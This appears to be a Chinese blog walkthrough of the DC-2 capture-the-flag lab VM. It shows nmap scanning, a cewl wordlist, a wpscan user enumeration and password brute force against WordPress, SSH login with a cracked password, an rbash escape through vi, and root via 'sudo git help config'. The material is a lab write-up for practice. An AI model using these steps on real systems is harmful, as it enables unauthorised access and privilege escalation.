一、搭建环境
解压靶机得到一个.ova文件
![](https://img-blog.csdnimg.cn/img_convert/dc6dd186cc86a4c3d4a96f53ec06f5ea.png)
利用虚拟机打开文件,将网卡设置成NAT模式,启动虚拟机
![](https://img-blog.csdnimg.cn/img_convert/86fcccb52dfafb1d9d2fb0afd3f80085.png)
二、渗透过程
信息收集
这里跟DC-1用同样手法,利用nmap扫描DC-2的IP地址
nmap -sP 192.168.XX.0/24
![](https://img-blog.csdnimg.cn/img_convert/ec9a1c5246b7131c3f46c6ad9d80597b.png)
对主机进一步扫描端口服务,开放了80端口,和改了端口的ssh
nmap -sV -p- 192.168.88.166
![](https://img-blog.csdnimg.cn/img_convert/599cd3896bdef851b392f8a8d52cfdba.png)
访问却提示找不到网站,但是发现输入的ip变成了域名,这里需要配置DNS
![](https://img-blog.csdnimg.cn/img_convert/8a877525a8d3ceb178afee258cbbf33f.png)
修改host文件
vim /etc/hosts
192.168.88.166 dc-2
![](https://img-blog.csdnimg.cn/img_convert/fc0409ff5c877c6a91250be656e0fabc.png)
刷新网页,访问成功,查看网站的信息
![](https://img-blog.csdnimg.cn/img_convert/02d38cb8738a039d3d67b5d7905766fa.png)
![](https://img-blog.csdnimg.cn/img_convert/39b81b49d5dfa2fda3615340be74e474.png)
CMS:WordPress 4.7.10、开放端口:80、7744(ssh)、os:Debian等
漏洞利用
网页有一个flag,里面有一个flag1
(您通常的单词表可能不起作用,因此,也许您只需要成为 cewl。
更多的密码总是更好,但有时你无法赢得所有密码。
以一个身份登录以查看下一个标志。
如果找不到,请以另一个身份登录。)
![](https://img-blog.csdnimg.cn/img_convert/9c9b560164aa39462c851db3994abe71.png)
制作字典
cewl http://dc-2/ -w password.txt
![](https://img-blog.csdnimg.cn/img_convert/9a41c50e2a9f2ce67b55ac664e710e9a.png)
网站是不是存在登录网页,扫一下,发现了一个login的网页,访问一下
dirsearch -u http://dc-2/
![](https://img-blog.csdnimg.cn/img_convert/764813e402ac75a2e61ab41b3ce7f30e.png)
是一个后台登录界面,上面我们生成了一个密码字典,但是没有用户名
![](https://img-blog.csdnimg.cn/img_convert/8421f381228a6a940b10adc4cd3cd333.png)
使用wpscan来进行爆破用户名,有三个用户admin、jerry、tom
wpscan --url http://dc-2/ -e u
![](https://img-blog.csdnimg.cn/img_convert/209c41add1449363a80065aa1caf060e.png)
用这个三个用户创建一个字典为usename
![](https://img-blog.csdnimg.cn/img_convert/145921bcfa86ee96b241897895b8172c.png)
尝试用用户字典和密码字典进行爆破,成功爆出jerry密码和tom密码,尝试用这两个账号登录
wpscan --url dc-2 -U usename.txt -P password.txt
![](https://img-blog.csdnimg.cn/img_convert/9d7e50c247243061df7a2e22ad6934d9.png)
![](https://img-blog.csdnimg.cn/img_convert/86e9c1e95b68638f1e97cfb1e3e647fe.png)
登录jerry,在pages里面发现了flag2
(如果你不能利用WordPress并使用快捷方式,还有另一种方法。
希望你找到了另一个切入点。)
![](https://img-blog.csdnimg.cn/img_convert/4502a77a2328b3a4a13e5ce849f0220b.png)
登录tom账号并没有flag
![](https://img-blog.csdnimg.cn/img_convert/d0213e9a1842dc1bee33c49768abd9ec.png)
上面提示不能通过CMS,网站开饭了ssh端口7744,那么尝试ssh连接一下,两个账号多使用,发现只有tom可以远程登录
ssh tom@192.168.88.166 -p 7744
#密码:parturient
登录发现目录下面就要有一个flag3,查看
![](https://img-blog.csdnimg.cn/img_convert/9af8d80ff255cd27df4f4f8ad2ec0e31.png)
提示rbash访问限制,那么不能用cat,尝试用vi或者vim看看能不能查看
![](https://img-blog.csdnimg.cn/img_convert/03cc0407c5dbb21ecbec645e78531b3d.png)
使用vi发现可以查看flag3.txt
(可怜的老汤姆总是在追赶杰瑞。也许他应该承受他所造成的所有压力。)
![](https://img-blog.csdnimg.cn/img_convert/379a3db5bfb8c2f1270b720377f570e8.png)
搜索一下系统的flag文件,还是做了限制
![](https://img-blog.csdnimg.cn/img_convert/644023e5f8be365758a87298a1ba75cc.png)
想到文本tom和jerry,还有su命令,尝试su jerry,一样提示rbash限制访问
![](https://img-blog.csdnimg.cn/img_convert/3fc72a84216b4fc90ed044dc1fd444e5.png)
rbash逃逸
可以查看rabsh还能进行那些操作
echo $PATH
![](https://img-blog.csdnimg.cn/img_convert/2f406a7f8cfc5e1621d1a8267cbbdfb9.png)
使用vi来设置shell,可以看到已经变成bash了
vi
:set shell=/bin/bash
:shell
![](https://img-blog.csdnimg.cn/img_convert/93f65965ca51fdb9aaa90f49b234706a.png)
此时还需要添加环境变量,成功绕过
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
![](https://img-blog.csdnimg.cn/img_convert/bac3a516cab0b659ab08b420e662fd69.png)
搜索一下系统的flag文件,发现jerry家目录下面有一个flag4
![](https://img-blog.csdnimg.cn/img_convert/08f170723d2164115186e0d0021d1fc1.png)
那么能直接使用tom用户访问flag4.txt,文本中提示好像需要jerry用户git提权
(很高兴看到你已经做到了这一点,但你还没有回家。
您仍然需要获得最终标志(唯一真正重要的标志!!!)。
这里没有提示-你现在是自己了。:-)
快离开这里!!!!)
![](https://img-blog.csdnimg.cn/img_convert/34f472975e8bb86d6d684fe6a21f0551.png)
找一下具有SUID权限的二进制文件的,好像没有能用的
find / -user root -perm -4000 -print 2>/dev/null
![](https://img-blog.csdnimg.cn/img_convert/bcfb7fe3e22345d9138de8804cd0e79f.png)
尝试切换到jerry用户在查找一下提权文件,还是一样
![](https://img-blog.csdnimg.cn/img_convert/023efaac9990e9096f7daa9033dcd694.png)
先使用 sudo -l 查看当前用户可以以 root 身份执行的命令。可以使用git进行提权
![](https://img-blog.csdnimg.cn/img_convert/11cb64047d632346d9fdd0382d4da776.png)
提权
sudo git help config
#回车,输入
!/bin/bash
![](https://img-blog.csdnimg.cn/img_convert/bf819e569a3ef3b6d32a40820c1d911f.png)
查找一下root权限的flag文件,找到了final-flag.txt文件
![](https://img-blog.csdnimg.cn/img_convert/b54c9fbffc71957ca83a18565c5c3c33.png)
![](https://img-blog.csdnimg.cn/img_convert/c9f2d654ae5a31c139c25a1e8cd0ffbc.png)